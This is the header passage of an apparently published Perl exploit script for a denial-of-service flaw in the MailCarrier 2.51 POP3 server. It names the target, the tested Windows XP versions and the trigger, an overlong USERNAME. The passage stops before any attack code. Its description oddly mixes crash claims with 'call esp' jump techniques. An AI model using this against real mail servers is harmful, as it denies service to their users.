#!/usr/bin/perl use IO::Socket::INET # Exploit Title: MailCarrier 2.51 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 16 january 2024 # Tested Version: MailCarrier 2.51 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user. #When authenticating to the POP3 server with a long USERNAME or a USERNAME with a large number of characters for the POP3 server to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2.
